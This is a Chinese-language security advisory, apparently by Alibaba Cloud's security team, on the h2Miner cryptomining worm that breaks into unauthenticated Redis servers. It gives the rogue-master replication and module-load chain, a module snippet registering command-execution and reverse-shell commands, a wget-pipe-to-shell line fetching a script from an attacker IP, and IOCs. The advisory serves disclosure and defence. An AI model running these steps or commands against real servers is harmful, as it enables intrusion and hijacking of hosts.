威胁快报|Redis RCE导致h2Miner蠕虫新一轮爆发,建议用户及时排查以防事态升级

概述

近日,阿里云安全团队监测到h2Miner挖矿僵尸网络蠕虫的一波突然爆发,其利用Redis未授权或弱口令作为入口,使用主从同步的方式从恶意服务器上同步恶意module,之后在目标机器上加载此恶意module并执行恶意指令。

在以往常见的攻击者或蠕虫中,其大多都沿用登陆redis后写入定时任务或写ssh key的方式进行入侵,这种方式受权限与系统类型影响并不一定能够成功。而此次使用redis加载module的攻击方式,可以直接执行任意指令或拿到shell交互环境,危害极大。

由于全网redis近百万台的数量,因此阿里云安全团队建议用户尽量不要将redis服务暴露在公网,及时排查相关弱口令问题及是否受蠕虫影响,必要时可考虑选用安全产品帮助保障安全。

背景

h2Miner团伙

h2Miner是一个linux下的挖矿僵尸网络,通过hadoop yarn未授权、docker未授权、confluence RCE、thinkphp5RCE、Redis未授权等多种手段进行入侵,下载恶意脚本及恶意程序进行挖矿牟利,横向扫描扩大攻击面并维持C&C通信。

Redis RCE

此利用方式由Pavel Toporkov在zeronights 2018上分享,在Redis 4.x之后,Redis新增了Module功能,使用者可以在Redis中加载由C语言编译而成的so文件,从而实现特定的Redis命令。而在Redis主从模式下,可以通过FULLRESYNC同步文件到从机上,从而完成恶意so文件的传输。传输完成后在目标机Redis上进行Module加载,便可执行任意指令。

蠕虫分析

近日,阿里云安全团队发现h2Miner团伙规模突然急剧上升,在短短几日所影响的主机数量翻了一个数量级,阿里云安全团队在第一时间进行了响应。根据分析,整体的攻击链路如下图:

威胁快报|Redis RCE导致h2Miner蠕虫新一轮爆发,建议用户及时排查以防事态升级


攻击链路

h2miner主要使用Redis RCE的方式来完成入侵,首先利用Redis未授权或弱口令获取Redis登录权限,之后利用使用config set dbfilename red2.so来修改保存文件名,之后使用salveof命令设置主从复制的主机地址。当目标Redis服务与攻击者所有的恶意Redis服务建立主从连接关系后,攻击者控制恶意Redis发送FULLRESYNC进行文件同步,同步的结果会在目标Redis上写入red2.so文件,从而完成了恶意so文件的传输。在此之后,攻击者利用module load ./red2.so加载此so文件,此模块根据传入的参数可以执行任意指令或发起反向连接获取shell环境。

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

在执行类似/bin/sh -c wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1的恶意指令之后,攻击者会将的文件名恢复为默认的,并使用module unload卸载system模块的加载,从而清理相应的痕迹。但依旧在被攻击主机上残留有red2.so文件,建议用户关注自身Redis服务目录下是否有此可疑文件。

跟进其使用的恶意脚本,除了杀死一些恶意进程以抢夺资源之外,会向http://142.44.191.122/kinsing下载恶意二进制文件并运行,因此主机中包含kinsing的进程或目录可能代表此机器已被该蠕虫"光临"。
根据简单的逆向分析结果显示,该恶意程序主要有以下功能:

  • 下载文件并执行
  • 执行挖矿程序
  • 维持C&C通信并执行命令
  • 利用masscan对外扫描以扩大影响面

威胁快报|Redis RCE导致h2Miner蠕虫新一轮爆发,建议用户及时排查以防事态升级


恶意程序函数列表

除此之外,恶意程序中内置了C&C服务器ip地址,受影响的主机会以http的方式与C&C通信服务器进行通信,其中肉鸡的信息在http头部中标识。

威胁快报|Redis RCE导致h2Miner蠕虫新一轮爆发,建议用户及时排查以防事态升级


内置C&C服务器

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

其他攻击方式

威胁快报|Redis RCE导致h2Miner蠕虫新一轮爆发,建议用户及时排查以防事态升级

IOC

/kinsing

142.44.191.122/t.sh
185.92.74.42/h.sh
142.44.191.122/spr.sh
142.44.191.122/spre.sh
195.3.146.118/unk.sh

c&c
45.10.88.102
91.215.169.111
139.99.50.255
46.243.253.167
195.123.220.193

安全建议

  1. Redis 非必要情况不要暴露在公网,使用足够强壮的Redis口令;
  2. 排查Redis路径下是否残留red2.so文件,查询主机上是有否包含有kinsing的文件或进程,以确认是否被此蠕虫感染;
  3. 建议使用阿里云安全的下一代云防火墙产品,其阻断恶意外联、能够配置智能策略的功能,能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明,下载、挖矿、反弹shell这些操作,都需要进行恶意外联;云防火墙的拦截将彻底阻断攻击链。此外,用户还可以通过自定义策略,直接屏蔽恶意网站,达到阻断入侵的目的。此外,云防火墙独有的虚拟补丁功能,能够帮助客户更灵活、更“无感”地阻断攻击;
  4. 对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。入侵事件发生后,也可介入直接协助入侵后的清理、事件溯源等,适合有较高安全需求的用户,或未雇佣安全工程师,但希望保障系统安全的企业。

本文作者: 苍珀
致谢:桑铎

上一篇:除了云计算和大数据 阿里云推出的新法宝“中间件”究竟是个啥?


下一篇:助力全民抗“疫”,我们准备了这些安全服务.....